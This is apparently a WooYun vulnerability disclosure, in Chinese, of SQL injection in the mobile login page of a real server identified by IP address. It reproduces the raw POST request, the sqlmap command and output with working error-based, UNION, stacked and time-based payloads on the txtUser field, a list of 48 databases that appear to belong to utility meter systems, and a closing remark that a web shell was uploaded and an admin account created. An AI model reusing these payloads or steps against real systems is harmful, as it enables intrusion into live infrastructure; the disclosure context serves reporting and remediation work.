WooYun.org

注入点是post
post：
POST /mobile/Default.aspx HTTP/1.1
Host: 111.10.24.94
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://111.10.24.94/mobile/Default.aspx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 218
__VIEWSTATE=%2FwEPDwUKMTEyMTc3MTQwNmRk5FyYW6DKJOXHx9cSr7nmqT%2FfM1o%3D&__EVENTVALIDATION=%2FwEWBAL7wsuHAQLB2tiHDgKd%2B7qdDgKC3IeGDNVoh2hLgmVzilwrKPqSYGvjfW9g&txtUser=admin&txtPwd=admin&btnLogin=%E7%99%BB%E9%99%86
sqlmap跑表
[wooyun@scanf~]# Sqlmap -r post.txt --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:19:30
[15:19:30] [INFO] parsing HTTP request from 'post.txt'
[15:19:31] [INFO] resuming back-end DBMS 'microsoft sql server'
[15:19:31] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: txtUser
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUKMTEyMTc3MTQwNg9kFgICAw9kFgICBw8PFgIeBFRleHQFJOi
+k+WFpeeahOi0puaIt+WQjeWSjOWvhueggemUmeivr++8gWRkZL8NIpuVvqplUy84aJ2dQ4PFVpHo&__
EVENTVALIDATION=/wEWBALX4cr8AwLB2tiHDgKd+7qdDgKC3IeGDLqehG586cM1lKT22wgWKoSL7Pa4
&txtUser=admin' AND 7704=CONVERT(INT,(SELECT CHAR(113)+CHAR(110)+CHAR(121)+CHAR(
100)+CHAR(113)+(SELECT (CASE WHEN (7704=7704) THEN CHAR(49) ELSE CHAR(48) END))+
CHAR(113)+CHAR(104)+CHAR(109)+CHAR(103)+CHAR(113))) AND 'FVwX'='FVwX&txtPwd=admi
n&btnLogin=%E7%99%BB%E9%99%86
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: __VIEWSTATE=/wEPDwUKMTEyMTc3MTQwNg9kFgICAw9kFgICBw8PFgIeBFRleHQFJOi
+k+WFpeeahOi0puaIt+WQjeWSjOWvhueggemUmeivr++8gWRkZL8NIpuVvqplUy84aJ2dQ4PFVpHo&__
EVENTVALIDATION=/wEWBALX4cr8AwLB2tiHDgKd+7qdDgKC3IeGDLqehG586cM1lKT22wgWKoSL7Pa4
&txtUser=admin' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(110)+CHAR(121)+CH
AR(100)+CHAR(113)+CHAR(80)+CHAR(115)+CHAR(97)+CHAR(80)+CHAR(111)+CHAR(86)+CHAR(6
8)+CHAR(85)+CHAR(88)+CHAR(115)+CHAR(113)+CHAR(104)+CHAR(109)+CHAR(103)+CHAR(113)
,NULL-- &txtPwd=admin&btnLogin=%E7%99%BB%E9%99%86
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwUKMTEyMTc3MTQwNg9kFgICAw9kFgICBw8PFgIeBFRleHQFJOi
+k+WFpeeahOi0puaIt+WQjeWSjOWvhueggemUmeivr++8gWRkZL8NIpuVvqplUy84aJ2dQ4PFVpHo&__
EVENTVALIDATION=/wEWBALX4cr8AwLB2tiHDgKd+7qdDgKC3IeGDLqehG586cM1lKT22wgWKoSL7Pa4
&txtUser=admin'; WAITFOR DELAY '0:0:5'--&txtPwd=admin&btnLogin=%E7%99%BB%E9%99%8
6
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwUKMTEyMTc3MTQwNg9kFgICAw9kFgICBw8PFgIeBFRleHQFJOi
+k+WFpeeahOi0puaIt+WQjeWSjOWvhueggemUmeivr++8gWRkZL8NIpuVvqplUy84aJ2dQ4PFVpHo&__
EVENTVALIDATION=/wEWBALX4cr8AwLB2tiHDgKd+7qdDgKC3IeGDLqehG586cM1lKT22wgWKoSL7Pa4
&txtUser=admin' WAITFOR DELAY '0:0:5'--&txtPwd=admin&btnLogin=%E7%99%BB%E9%99%86
---
[15:19:31] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[15:19:31] [INFO] fetching database names
[15:19:31] [INFO] the SQL query used returns 51 entries
available databases [48]:
[*] BaZhong
[*] BeiBei_Flowmeter
[*] ChangShou
[*] DaDuKou
[*] DaPing
[*] DaZhulin
[*] DaZu
[*] DBSignal
[*] DemoFlowmeter
[*] DemoMeter
[*] DemoNewMeter
[*] FL_Flowmeter
[*] FL_GasMeterNew
[*] GuanYingQiao
[*] HuangJuePing
[*] JieFangBei
[*] JiuGongMiao
[*] LongShui
[*] LongTouShi
[*] LongXiZheng
[*] master
[*] MeterService
[*] model
[*] msdb
[*] NanAn
[*] QiXingGang
[*] RC_flowmeterNew
[*] ReportServer
[*] ReportServerTempDB
[*] RongChang_test
[*] SelledService_GC
[*] SiGongLi
[*] SiMen
[*] TangJiaTuo
[*] tempdb
[*] TempTest
[*] TestBaZhong
[*] TN_FlowMeter
[*] TongNanNew
[*] wgktmp
[*] WuLiDian
[*] XiPengTest
[*] YangJiaPing
[*] YanShi
[*] YouTing
[*] YuChuanNew
[*] YuZhouXincheng
[*] ZhongXian
[15:19:32] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\111.10.24.94'
[*] shutting down at 15:19:32
然后上传shell拿到的服务器

建立用户admin 删除即可